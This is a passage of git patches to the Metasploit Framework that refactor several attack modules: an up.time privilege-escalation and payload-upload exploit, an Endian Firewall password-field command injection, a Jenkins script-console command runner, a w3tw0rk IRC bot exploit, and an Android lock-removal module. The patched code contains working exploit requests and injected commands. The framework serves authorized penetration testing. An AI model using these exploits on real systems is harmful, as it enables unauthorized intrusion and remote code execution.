method returns + # empty. + if build_prop.empty? + raise RuntimeError, "Failed to retrieve build.prop, you might need to try again." end - unless buildprop =~ /ro.build.version.release=4.[0|1|2|3]/ + android_version = Gem::Version.new(build_prop['ro.build.version.release']) + if android_version <= Gem::Version.new('4.3') && android_version >= Gem::Version.new('4.0') + return true + end + + false + end + + def run + unless is_version_compat? print_error("This module is only compatible with Android versions 4.0 to 4.3") return end From da0752e8c2f4843d465d3bc9cbd215b77c862a1d Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Fri, 4 Sep 2015 15:12:05 -0500 Subject: [PATCH 0563/2172] use fail_with --- modules/post/android/manage/remove_lock.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/android/manage/remove_lock.rb b/modules/post/android/manage/remove_lock.rb index 7b2aad2fb9..a0724aac4e 100644 --- a/modules/post/android/manage/remove_lock.rb +++ b/modules/post/android/manage/remove_lock.rb @@ -47,7 +47,7 @@ class Metasploit4 < Msf::Post # Sometimes cmd_exec fails to cat build_prop, so the #get_build_prop method returns # empty. if build_prop.empty? - raise RuntimeError, "Failed to retrieve build.prop, you might need to try again." + fail_with(Failure::Unknown, 'Failed to retrieve build.prop, you might need to try again.') end android_version = Gem::Version.new(build_prop['ro.build.version.release']) From 5b5e97f37a43c47f5f6910bef06e40718af7f789 Mon Sep 17 00:00:00 2001 From: "Ewerson Guimaraes (Crash)" <crash@dclabs.com.br> Date: Fri, 4 Sep 2015 22:12:42 +0200 Subject: [PATCH 0564/2172] Update Add normalize_uri Change print_status tp vprint_status Removed unused http headers an other minor changes --- .../exploits/multi/http/uptime_code_exec.rb | 115 +++++------------- 1 file changed, 33 insertions(+), 82 deletions(-) diff --git a/modules/exploits/multi/http/uptime_code_exec.rb b/modules/exploits/multi/http/uptime_code_exec.rb index 3a3e8ed363..40ddea5dc3 100644 --- a/modules/exploits/multi/http/uptime_code_exec.rb +++ b/modules/exploits/multi/http/uptime_code_exec.rb @@ -53,28 +53,24 @@ class Metasploit4 < Msf::Exploit::Remote end # Application Check def check - sig = 'up.time 7.5.0' - sig2 = 'up.time 7.4.0' - res = send_request_cgi( 'method' => 'GET', - 'uri' => '/' + 'uri' => normalize_uri(target_uri.path, '/') ) + vprint_status("#{peer} - Checking version...") - print_status("#{rhost}:#{rport} - Checking version...") - - if res.code == 200 && res.body =~ /#{sig}/ || res.code == 200 && res.body =~ /#{sig2}/ + if res.code == 200 && (res.body.include?('up.time 7.5.0') || res.body.include?('up.time 7.4.0')) return Exploit::CheckCode::Appears end Exploit::CheckCode::Safe end def exploit - print_status('Trying to login...') + vprint_status('Trying to login...') # #Application Login res_auth = send_request_cgi( 'method' => 'POST', - 'uri' => '/index.php?', + 'uri' => normalize_uri(target_uri.path, '/index.php?'), 'vars_post' => { 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] @@ -83,13 +79,13 @@ class Metasploit4 < Msf::Exploit::Remote # #Check OS # phpfile_name = rand_text_alpha(10) if res_auth.headers['Server'] =~ /Unix/ - print_status('Found Linux instalation - Setting appropriated PATH') + vprint_status('Found Linux instalation - Setting appropriated PATH') phppath = '/usr/local/uptime/apache/bin/php' uploadpath = '/usr/local/uptime/GUI/wizards' cmdargs = uploadpath + '/' + phpfile_name + '.txt' cmd = phppath else - print_status('Found Windows instalation - Setting appropriated PATH') + vprint_status('Found Windows instalation - Setting appropriated PATH') phppath = 'C:\\Program Files\\uptime software\\uptime\\apache\\php\\php.exe' uploadpath = 'C:\\Program Files\\uptime software\\uptime\\GUI\\wizards' cmd = 'c:\\windows\\system32\\cmd.exe' @@ -99,48 +95,36 @@ class Metasploit4 < Msf::Exploit::Remote if res_auth && res_auth.get_cookies =~ /login=true/ cookie = Regexp.last_match(1) cookie_split = res_auth.get_cookies.split(';') - print_status("Cookies Found: #{cookie_split[1]} #{cookie_split[2]}") + vprint_status("Cookies Found: #{cookie_split[1]} #{cookie_split[2]}") print_good('Login success') # Privilege escalation getting user ID res_priv = send_request_cgi( 'method' => 'GET', - 'uri' => '/main.php', + 'uri' => normalize_uri(target_uri.path, '/main.php'), 'vars_get' => { 'page' => 'Users', 'subPage' => 'UserContainer' }, 'headers' => { - 'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', - 'Cache-Control' => 'max-age=0', - 'Connection' => 'keep-alive', - 'Cookie' => "#{cookie_split[1]}; #{cookie_split[2]}", - 'Host' => "#{rhost}", - 'Referer' => "#{rhost}/main.php?page=Users&subPage=UserContainer", - 'User-Agent' => 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0' + 'Cookie' => "#{cookie_split[1]}; #{cookie_split[2]}" } ) matchdata = res_priv.body.match(/UPTIME.CurrentUser.userId.*/) get_id = matchdata[0].gsub(/[^\d]/, '') - print_status('Escalating privileges...') + vprint_status('Escalating privileges...') # Privilege escalation post res_priv_elev = send_request_cgi( 'method' => 'POST', - 'uri' => '/main.php', + 'uri' => normalize_uri(target_uri.path, '/main.php'), 'vars_get' => { 'section' => 'UserContainer', 'subsection' => 'edit', 'id' => "#{get_id}" }, 'headers' => { - 'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', - 'Cache-Control' => 'max-age=0', - 'Connection' => 'keep-alive', - 'Cookie' => "#{cookie_split[1]}; #{cookie_split[2]}", - 'Host' => "#{rhost}", - 'Referer' => "#{rhost}/main.php?page=Users&subPage=UserContainer", - 'User-Agent' => 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0' + 'Cookie' => "#{cookie_split[1]}; #{cookie_split[2]}" }, 'vars_post' => { 'operation' => 'submit', @@ -170,24 +154,18 @@ class Metasploit4 < Msf::Exploit::Remote ) # Refresing perms - print_status('Refresing perms...') + vprint_status('Refresing perms...') res_priv = send_request_cgi( 'method' => 'GET', - 'uri' => '/index.php?loggedout', + 'uri' => normalize_uri(target_uri.path, '/index.php?loggedout'), 'headers' => { - 'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', - 'Cache-Control' => 'max-age=0', - 'Connection' => 'keep-alive', - 'Cookie' => "#{cookie_split[1]}; #{cookie_split[2]}", - 'Host' => "#{rhost}", - 'Referer' => "#{rhost}/index.php", - 'User-Agent' => 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0' + 'Cookie' => "#{cookie_split[1]}; #{cookie_split[2]}" } ) res_auth = send_request_cgi( 'method' => 'POST', - 'uri' => '/index.php', + 'uri' => normalize_uri(target_uri.path, '/index.php'), 'vars_post' => { 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] @@ -196,25 +174,19 @@ class Metasploit4 < Msf::Exploit::Remote if res_auth && res_auth.get_cookies =~ /login=true/ cookie = Regexp.last_match(1) cookie_split = res_auth.get_cookies.split(';') - print_status("New Cookies Found: #{cookie_split[1]} #{cookie_split[2]}") + vprint_status("New Cookies Found: #{cookie_split[1]} #{cookie_split[2]}") print_good('Priv. Escalation success') end # CREATING EXEC Service def create_exec_service(*args) - cookie_split, rhost, _uploadpath, _phppath, _phpfile_name, cmd, cmdargs = *args + cookie_split, rhost, uploadpath, phppath, phpfile_name, cmd, cmdargs = *args res_service = send_request_cgi( 'method' => 'POST', - 'uri' => '/main.php', + 'uri' => normalize_uri(target_uri.path, '/main.php'), 'headers' => { - 'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', - 'Cache-Control' => 'max-age=0', - 'Connection' => 'keep-alive', - 'Cookie' => "#{cookie_split[1]}; #{cookie_split[2]}", - 'Host' => "#{rhost}", - 'Referer' => "#{rhost}/index.php", - 'User-Agent' => 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0' + 'Cookie' => "#{cookie_split[1]}; #{cookie_split[2]}" }, 'vars_get' => { 'section' => 'ERDCInstance', @@ -300,38 +272,30 @@ class Metasploit4 < Msf::Exploit::Remote # CREATING Linux EXEC Service if res_auth.headers['Server'] =~ /Unix/ - print_status('Creating Linux Monitor Code exec...') + vprint_status('Creating Linux Monitor Code exec...') create_exec_service(cookie_split, rhost, uploadpath, phppath, phpfile_name, cmd, cmdargs) else # CREATING Windows EXEC Service# - print_status('Creating Windows Monitor Code exec...') + vprint_status('Creating Windows Monitor Code exec...') create_exec_service(cookie_split, rhost, uploadpath, phppath, phpfile_name, cmd, cmdargs) end # Upload file - print_status('Uploading file...') + vprint_status('Uploading file...') send_request_cgi( 'method' => 'POST', - 'uri' => '/wizards/post2file.php', + 'uri' => normalize_uri(target_uri.path, '/wizards/post2file.php'), 'vars_post' => { 'file_name' => phpfile_name + '.txt', 'script' => payload.encoded } ) - print_status('Checking Uploaded file...') + vprint_status('Checking Uploaded file...') res_up_check = send_request_cgi( 'method' => 'GET', - 'uri' => '/wizards' + '/' + phpfile_name + '.txt', - 'headers' => { - 'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', - 'Cache-Control' => 'max-age=0', - 'Connection' => 'keep-alive', - 'Host' => "#{rhost}", - 'Referer' => "#{rhost}/index.php", - 'User-Agent' => 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0' - } + 'uri' => '/wizards' + '/' + phpfile_name + '.txt' ) if res_up_check.code == 200 @@ -342,10 +306,10 @@ class Metasploit4 < Msf::Exploit::Remote # #Get Monitor ID - print_status('Fetching Monitor ID...') + vprint_status('Fetching Monitor ID...') res_mon_id = send_request_cgi( 'method' => 'GET', - 'uri' => '/ajax/jsonQuery.php', + 'uri' => normalize_uri(target_uri.path, '/ajax/jsonQuery.php'), 'vars_get' => { 'query' => 'GET_SERVICE_PAGE_ERDC_LIST', 'iDisplayStart' => '0', @@ -353,32 +317,19 @@ class Metasploit4 < Msf::Exploit::Remote 'sSearch' => 'Exploit' }, 'headers' => { - 'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', - 'Cache-Control' => 'max-age=0', - 'Connection' => 'keep-alive', - 'Cookie' => "#{cookie_split[1]}; #{cookie_split[2]}", - 'Host' => "#{rhost}", - 'Referer' => "#{rhost}/index.php", - 'User-Agent' => 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0' + 'Cookie' => "#{cookie_split[1]}; #{cookie_split[2]}" } ) matchdata = res_mon_id.body.match(/id=?[^>]*>/) - mon_get_id = matchdata[0].gsub(/[^\d]/, '') print_good("Monitor id aquired:#{mon_get_id}") # Executing monitor send_request_cgi( 'method' => 'POST', - 'uri' => '/main.php', + 'uri' => normalize_uri(target_uri.path, '/main.php'), 'headers' => { - 'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', - 'Cache-Control' => 'max-age=0', - 'Connection' => 'keep-alive', - 'Cookie' => "#{cookie_split[1]}; #{cookie_split[2]}", - 'Host' => "#{rhost}", - 'Referer' => "#{rhost}/index.php", - 'User-Agent' => 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0' + 'Cookie' => "#{cookie_split[1]}; #{cookie_split[2]}" }, 'vars_post' => { 'section' => 'RunERDCInstance', @@ -388,7 +339,7 @@ class Metasploit4 < Msf::Exploit::Remote } ) else - print_error("#{rhost}:#{rport} - Cookie not found") + print_error("#{peer} - Cookie not found") end end end From 1ebc25092f94e061fe862cdbe8be3d9920772cb3 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 4 Sep 2015 16:18:15 -0500 Subject: [PATCH 0565/2172] Delete some comments --- modules/exploits/linux/http/efw_chpasswd_exec.rb | 8 -------- 1 file changed, 8 deletions(-) diff --git a/modules/exploits/linux/http/efw_chpasswd_exec.rb b/modules/exploits/linux/http/efw_chpasswd_exec.rb index d8aaabe625..1ee69cd00f 100644 --- a/modules/exploits/linux/http/efw_chpasswd_exec.rb +++ b/modules/exploits/linux/http/efw_chpasswd_exec.rb @@ -50,20 +50,12 @@ class Metasploit4 < Msf::Exploit::Remote }, 'Author' => [ 'Ben Lincoln' # Vulnerability discovery, exploit, Metasploit module -# Used Apache mod_cgi Bash Environment Variable Code Injection -# and Novell ZENworks Configuration Management Remote Execution -# modules as templates. ], 'References' => [ ['CVE', '2015-5082'], ['URL', 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-5082'], -# ['OSVDB', ''], ['EDB', '37426'], ['EDB', '37428'] -# ['URL', 'http://jira.endian.com/browse/COMMUNITY-136'] -# This was the original bug/vulnerability report to the vendor, -# but they have marked the ticket as private, so the URL does not -# return useful information at this time. ], 'Privileged' => false, 'Platform' => %w{ linux }, From 68d27acd69100e161cf5235a0bafb777fd3f4110 Mon Sep 17 00:00:00 2001 From: "Ewerson Guimaraes (Crash)" <crash@dclabs.com.br> Date: Fri, 4 Sep 2015 23:18:24 +0200 Subject: [PATCH 0566/2172] Update Add exploit-db references nil check to version --- modules/exploits/multi/http/uptime_code_exec.rb | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) diff --git a/modules/exploits/multi/http/uptime_code_exec.rb b/modules/exploits/multi/http/uptime_code_exec.rb index 40ddea5dc3..6da34eea4d 100644 --- a/modules/exploits/multi/http/uptime_code_exec.rb +++ b/modules/exploits/multi/http/uptime_code_exec.rb @@ -23,9 +23,7 @@ class Metasploit4 < Msf::Exploit::Remote 'Gjoko Krstic(LiquidWorm) <gjoko[at]zeroscience.mk>' ], 'References' => [ - ['CVE', ''], - ['OSVDB', ''], - ['US-CERT-VU', ''] + ['URL', 'https://www.exploit-db.com/exploits/37888/'] ], 'Payload' => { 'Space' => 100_000, @@ -59,7 +57,7 @@ class Metasploit4 < Msf::Exploit::Remote ) vprint_status("#{peer} - Checking version...") - if res.code == 200 && (res.body.include?('up.time 7.5.0') || res.body.include?('up.time 7.4.0')) + if !res.nil? && res.code == 200 && (res.body.include?('up.time 7.5.0') || res.body.include?('up.time 7.4.0')) return Exploit::CheckCode::Appears end Exploit::CheckCode::Safe @@ -79,7 +77,7 @@ class Metasploit4 < Msf::Exploit::Remote # #Check OS # phpfile_name = rand_text_alpha(10) if res_auth.headers['Server'] =~ /Unix/ - vprint_status('Found Linux instalation - Setting appropriated PATH') + vprint_status('Found Linux installation - Setting appropriated PATH') phppath = '/usr/local/uptime/apache/bin/php' uploadpath = '/usr/local/uptime/GUI/wizards' cmdargs = uploadpath + '/' + phpfile_name + '.txt' From adcd3c1e292e13e77aa24d19a1a1c4b92bb62d30 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 4 Sep 2015 16:18:55 -0500 Subject: [PATCH 0567/2172] Use static max length --- modules/exploits/linux/http/efw_chpasswd_exec.rb | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/modules/exploits/linux/http/efw_chpasswd_exec.rb b/modules/exploits/linux/http/efw_chpasswd_exec.rb index 1ee69cd00f..a672faa153 100644 --- a/modules/exploits/linux/http/efw_chpasswd_exec.rb +++ b/modules/exploits/linux/http/efw_chpasswd_exec.rb @@ -99,7 +99,6 @@ class Metasploit4 < Msf::Exploit::Remote 'Valid proxy account username for the target system']), OptString.new('EFW_PASSWORD', [true, 'Valid password for the proxy user account']), - OptInt.new('CMD_MAX_LENGTH', [true, 'CMD max line length', 200]), OptString.new('RPATH', [true, 'Target PATH for binaries used by the CmdStager', '/bin']) ], self.class) @@ -120,8 +119,7 @@ class Metasploit4 < Msf::Exploit::Remote "please select a native payload") end - execute_cmdstager(:linemax => datastore['CMD_MAX_LENGTH'], - :nodelete => true) + execute_cmdstager(:linemax => 200, :nodelete => true) end def execute_command(cmd, opts) From 15aa5de991de8c3e7db29f5857392c2a7d0716b1 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 4 Sep 2015 16:26:53 -0500 Subject: [PATCH 0568/2172] Use Rex::MIME::Message --- .../exploits/linux/http/efw_chpasswd_exec.rb | 31 +++++++------------ 1 file changed, 11 insertions(+), 20 deletions(-) diff --git a/modules/exploits/linux/http/efw_chpasswd_exec.rb b/modules/exploits/linux/http/efw_chpasswd_exec.rb index a672faa153..e00520ef34 100644 --- a/modules/exploits/linux/http/efw_chpasswd_exec.rb +++ b/modules/exploits/linux/http/efw_chpasswd_exec.rb @@ -131,31 +131,22 @@ class Metasploit4 < Msf::Exploit::Remote def req(cmd) sploit = "#{datastore['EFW_PASSWORD']}; #{cmd};" - boundary = "----#{rand_text_alpha(34)}" - data = "--#{boundary}\r\n" - data << "Content-Disposition: form-data; name=\"ACTION\"\r\n\r\n" - data << "change\r\n" - data << "--#{boundary}\r\n" - data << "Content-Disposition: form-data; name=\"USERNAME\"\r\n\r\n" - data << "#{datastore['EFW_USERNAME']}\r\n" - data << "--#{boundary}\r\n" - data << "Content-Disposition: form-data; name=\"OLD_PASSWORD\"\r\n\r\n" - data << "#{datastore['EFW_PASSWORD']}\r\n" - data << "--#{boundary}\r\n" - data << "Content-Disposition: form-data; name=\"NEW_PASSWORD_1\"\r\n\r\n" - data << "#{sploit}\r\n" - data << "--#{boundary}\r\n" - data << "Content-Disposition: form-data; name=\"NEW_PASSWORD_2\"\r\n\r\n" - data << "#{sploit}\r\n" - data << "--#{boundary}\r\n" - data << "Content-Disposition: form-data; name=\"SUBMIT\"\r\n\r\n" - data << " Change password\r\n" - data << "--#{boundary}--\r\n" + post_data = Rex::MIME::Message.new + post_data.add_part('change', nil, nil, 'form-data; name="ACTION"') + post_data.add_part(datastore['EFW_USERNAME'], nil, nil, 'form-data; name="USERNAME"') + post_data.add_part(datastore['EFW_PASSWORD'], nil, nil, 'form-data; name="OLD_PASSWORD"') + post_data.add_part(sploit, nil, nil, 'form-data; name="NEW_PASSWORD_1"') + post_data.add_part(sploit, nil, nil, 'form-data; name="NEW_PASSWORD_2"') + post_data.add_part(' Change password', nil, nil, 'form-data; name="SUBMIT"') + + data = post_data.to_s + boundary = post_data.bound refererUrl = "https://#{datastore['RHOST']}:#{datastore['RPORT']}" + "#{datastore['TARGETURI']}" + res = send_request_cgi( { 'method' => 'POST', From 2abfcd00b138ec7b51f421a6aa2f58c157cee290 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 4 Sep 2015 16:27:09 -0500 Subject: [PATCH 0569/2172] Use snake_case --- modules/exploits/linux/http/efw_chpasswd_exec.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/linux/http/efw_chpasswd_exec.rb b/modules/exploits/linux/http/efw_chpasswd_exec.rb index e00520ef34..75b9f35be6 100644 --- a/modules/exploits/linux/http/efw_chpasswd_exec.rb +++ b/modules/exploits/linux/http/efw_chpasswd_exec.rb @@ -142,7 +142,7 @@ class Metasploit4 < Msf::Exploit::Remote data = post_data.to_s boundary = post_data.bound - refererUrl = + referer_url = "https://#{datastore['RHOST']}:#{datastore['RPORT']}" + "#{datastore['TARGETURI']}" @@ -153,7 +153,7 @@ class Metasploit4 < Msf::Exploit::Remote 'uri' => datastore['TARGETURI'], 'ctype' => "multipart/form-data; boundary=#{boundary}", 'headers' => { - 'Referer' => refererUrl + 'Referer' => referer_url }, 'data' => data }) From 408edda4de48a358bd72764f150552b4fcdc96a6 Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Fri, 4 Sep 2015 17:24:49 -0500 Subject: [PATCH 0570/2172] add libpcap-dev to our travis dependencies --- .travis.yml | 3 +++ 1 file changed, 3 insertions(+) diff --git a/.travis.yml b/.travis.yml index cbc78a6681..c56870af06 100644 --- a/.travis.yml +++ b/.travis.yml @@ -41,3 +41,6 @@ branches: addons: postgresql: '9.3' + apt: + packages: + - libpcap-dev From 421fb4dcb8315cd86957cf970b2666eb2596bb06 Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Fri, 4 Sep 2015 16:56:44 -0700 Subject: [PATCH 0571/2172] Rework of the jenkins_command module --- .../auxiliary/scanner/http/jenkins_command.rb | 106 +++++++++++------- 1 file changed, 66 insertions(+), 40 deletions(-) diff --git a/modules/auxiliary/scanner/http/jenkins_command.rb b/modules/auxiliary/scanner/http/jenkins_command.rb index f5e829c762..4bc4b48ede 100644 --- a/modules/auxiliary/scanner/http/jenkins_command.rb +++ b/modules/auxiliary/scanner/http/jenkins_command.rb @@ -5,7 +5,7 @@ require 'rex/proto/http' require 'msf/core' -require 'rexml/document' +require 'cgi' class Metasploit3 < Msf::Auxiliary @@ -17,8 +17,8 @@ class Metasploit3 < Msf::Auxiliary super(update_info(info, 'Name' => 'Jenkins-CI Unauthenticated Script-Console Scanner', 'Description' => %q{ - This module takes advantage of the lack of password on Jenkins web applications - and automates the command execution aspect (via groovy script). + This module scans for unauthenticated Jenkins-CI script consoles and + executes the specified command. }, 'Author' => [ @@ -26,7 +26,7 @@ class Metasploit3 < Msf::Auxiliary 'Jeffrey Cap' ], 'References' => [ - ['URL', 'https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password/'] + ['URL', 'https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password/'], ['URL', 'https://wiki.jenkins-ci.org/display/JENKINS/Jenkins+Script+Console'], ], 'License' => MSF_LICENSE @@ -37,61 +37,87 @@ class Metasploit3 < Msf::Auxiliary OptString.new('TARGETURI', [ true, 'The path to the Jenkins-CI application', '/jenkins/' ]), OptString.new('COMMAND', [true, 'Command to run in application', 'whoami']), ], self.class) - deregister_options('VHOST') end def fingerprint_os(ip) - res = send_request_cgi( - { - 'uri' => "#{target_uri.path}systemInfo", - 'method' => 'GET', - 'ctype' => 'application/x-www-form-urlencoded' - } - ).body.to_s - unless res.nil? - if res.scan(/os.name(.*?)os.version/m).to_s.downcase.include? "windows" - return "cmd.exe /c" - else - return "" - end + res = send_request_cgi({'uri' => "#{target_uri.path}systemInfo"}) + + # Verify that we received a proper systemInfo response + unless res && res.body.to_s.length > 0 + vprint_error("#{peer} - The server did not reply to our systemInfo request") end + + unless res.body.index("System Properties") && + res.body.index("Environment Variables") + if res.body.index('Remember me on this computer') + vprint_error("#{peer} This Jenkins-CI system requires authentication") + else + vprint_error("#{peer} This system is not running Jenkins-CI at #{datastore['TARGETURI']}") + end + return + end + + os_info = pattern_extract(/os.name(.*?)os.version/m, res.body).first + os_info.index(">Windows") ? "cmd.exe /c " : "" end def run_host(ip) command = datastore['COMMAND'].gsub("\\", "\\\\\\") + prefix = fingerprint_os(ip) - res = send_request_cgi( - { + return if prefix.nil? + + res = send_request_cgi({ 'uri' => "#{target_uri.path}script", 'method' => 'POST', 'ctype' => 'application/x-www-form-urlencoded', 'data' => "script=def+sout+%3D+new+StringBuffer%28%29%2C+serr+%3D+new+StringBuffer%28%29%0D%0Adef+proc+%3D+%27#{prefix}+#{command}%27.execute%28%29%0D%0Aproc.consumeProcessOutput%28sout%2C+serr%29%0D%0Aproc.waitForOrKill%281000%29%0D%0Aprintln+%22out%26gt%3B+%24sout+err%26gt%3B+%24serr%22%0D%0A&json=%7B%22script%22%3A+%22def+sout+%3D+new+StringBuffer%28%29%2C+serr+%3D+new+StringBuffer%28%29%5Cndef+proc+%3D+%27#{prefix}+#{command}%27.execute%28%29%5Cnproc.consumeProcessOutput%28sout%2C+serr%29%5Cnproc.waitForOrKill%281000%29%5Cnprintln+%5C%22out%26gt%3B+%24sout+err%26gt%3B+%24serr%5C%22%5Cn%22%2C+%22%22%3A+%22def+sout+%3D+new+StringBuffer%28%29%2C+serr+%3D+new+StringBuffer%28%29%5Cndef+proc+%3D+%27#{prefix}+#{command}%27.execute%28%29%5Cnproc.consumeProcessOutput%28sout%2C+serr%29%22%7D&Submit=Run" - }).body.to_s - if res.nil? - print_error("#{rhost}:#{rport} - An unknown error occurred when running the command.") + }) + + unless res && res.body.to_s.length > 0 + vprint_error("#{peer} No response received from the server.") + return + end + + plugin_output, command_output = pattern_extract(/<pre>(.*?)<\/pre>/m, res.body.to_s) + + if plugin_output !~ /Jenkins\.instance\.pluginManager\.plugins/ + vprint_error("#{peer} The server returned an invalid response.") + return + end + + # The output is double-HTML encoded + output = CGI.unescapeHTML(CGI.unescapeHTML(command_output.to_s)). + gsub(/\s*(out|err)>\s*/m, ''). + strip + + if output =~ /^java\.[a-zA-Z\.]+\:\s*([^\n]+)\n/ + output = $1 + print_good("#{peer} The server is vulnerable, but the command failed: #{output}") else - output = res.scan(/<pre>(.*?)<\/pre>/m) - if output.to_s.include? "java.lang.Runtime.exec" or output.to_s.include? "not recognized" - print_error("#{rhost}:#{rport} - Invalid command provided to the OS.") - report_data(ip, rport, "The command #{command} was not valid on the remote host.") - elsif !output.empty? and !output.to_s.include? "java.lang.Runtime.exec" - output = output[1][0][12..-1].gsub("err&gt;", "").strip - print_good("#{rhost}:#{rport}: The command executed successfully on #{ip}. Output:") - report_data(ip, rport, "The command #{command} executed successfully.") - output.split("\n").each{|line| print_good("#{rhost}:#{rport}: #{line.strip}")} - else - print_error("#{rhost}:#{rport} - An unknown error has occured when running the command.") - report_data(ip, rport, "The command #{command} did not execute successfully.") + output.split("\n").each do |line| + print_good("#{peer} #{line.strip}") end end + + report_vulnerable(output) + end - def report_data(ip, rport, result) - report_service( - :host => ip, - :port => datastore['RPORT'], + def pattern_extract(pattern, buffer) + buffer.to_s.scan(pattern).map{ |m| m.first } + end + + def report_vulnerable(result) + report_vuln( + :host => rhost, + :port => rport, :proto => 'tcp', - :info => result + :sname => ssl ? 'https' : 'http', + :name => self.name, + :info => result, + :refs => self.references, + :exploited_at => Time.now.utc ) end end From 2f8dc7fdab65f29e1a159b6694672ae45d828d7e Mon Sep 17 00:00:00 2001 From: JT <shipcodez@gmail.com> Date: Sat, 5 Sep 2015 14:21:07 +0800 Subject: [PATCH 0572/2172] Update w3tw0rk_exec.rb changed response to res --- modules/exploits/multi/misc/w3tw0rk_exec.rb | 30 ++++++++++----------- 1 file changed, 15 insertions(+), 15 deletions(-) diff --git a/modules/exploits/multi/misc/w3tw0rk_exec.rb b/modules/exploits/multi/misc/w3tw0rk_exec.rb index 90cee4ad6e..cbdf3e8c14 100644 --- a/modules/exploits/multi/misc/w3tw0rk_exec.rb +++ b/modules/exploits/multi/misc/w3tw0rk_exec.rb @@ -58,14 +58,14 @@ class Metasploit3 < Msf::Exploit::Remote def check connect - response = register(sock) - if response =~ /463/ or response =~ /464/ + res = register(sock) + if res =~ /463/ or res =~ /464/ vprint_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed") return Exploit::CheckCode::Unknown end - response = join(sock) - if not response =~ /353/ and not response =~ /366/ + res = join(sock) + if not res =~ /353/ and not res =~ /366/ vprint_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel") return Exploit::CheckCode::Unknown end @@ -73,7 +73,7 @@ class Metasploit3 < Msf::Exploit::Remote quit(sock) disconnect - if response =~ /auth/ and response =~ /logged in/ + if res =~ /auth/ and res =~ /logged in/ return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe @@ -113,21 +113,21 @@ class Metasploit3 < Msf::Exploit::Remote msg << "NICK #{nick}\r\n" msg << "USER #{nick} #{Rex::Socket.source_address(rhost)} #{rhost} :#{nick}\r\n" - response = send_msg(sock,msg) - return response + res = send_msg(sock,msg) + return res end def join(sock) join_msg = "JOIN #{datastore['CHANNEL']}\r\n" - response = send_msg(sock, join_msg) - return response + res = send_msg(sock, join_msg) + return res end def w3tw0rk_command(sock) encoded = payload.encoded command_msg = "PRIVMSG #{datastore['CHANNEL']} :!bot #{encoded}\r\n" - response = send_msg(sock, command_msg) - return response + res = send_msg(sock, command_msg) + return res end def quit(sock) @@ -139,15 +139,15 @@ class Metasploit3 < Msf::Exploit::Remote connect print_status("#{rhost}:#{rport} - Registering with the IRC Server...") - response = register(sock) - if response =~ /463/ or response =~ /464/ + res = register(sock) + if res =~ /463/ or res =~ /464/ print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed") return end print_status("#{rhost}:#{rport} - Joining the #{datastore['CHANNEL']} channel...") - response = join(sock) - if not response =~ /353/ and not response =~ /366/ + res = join(sock) + if not res =~ /353/ and not res =~ /366/ print_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel") return end From 944f47b064e284c6d9a102b51dd9acc9adc76615 Mon Sep 17 00:00:00 2001 From: "Ewerson Guimaraes (Crash)" <crash@dclabs.com.br> Date: Sat, 5 Sep 2015 10:07:58 +0200 Subject: [PATCH 0573/2172] Update Check nil Removed headers Fixed url normalization --- .../exploits/multi/http/uptime_code_exec.rb | 60 ++++++++----------- 1 file changed, 24 insertions(+), 36 deletions(-) diff --git a/modules/exploits/multi/http/uptime_code_exec.rb b/modules/exploits/multi/http/uptime_code_exec.rb index 6da34eea4d..460042675f 100644 --- a/modules/exploits/multi/http/uptime_code_exec.rb +++ b/modules/exploits/multi/http/uptime_code_exec.rb @@ -53,7 +53,7 @@ class Metasploit4 < Msf::Exploit::Remote def check res = send_request_cgi( 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, '/') + 'uri' => normalize_uri(target_uri.path) ) vprint_status("#{peer} - Checking version...") @@ -68,7 +68,7 @@ class Metasploit4 < Msf::Exploit::Remote # #Application Login res_auth = send_request_cgi( 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, '/index.php?'), + 'uri' => normalize_uri(target_uri.path, 'index.php'), 'vars_post' => { 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] @@ -76,21 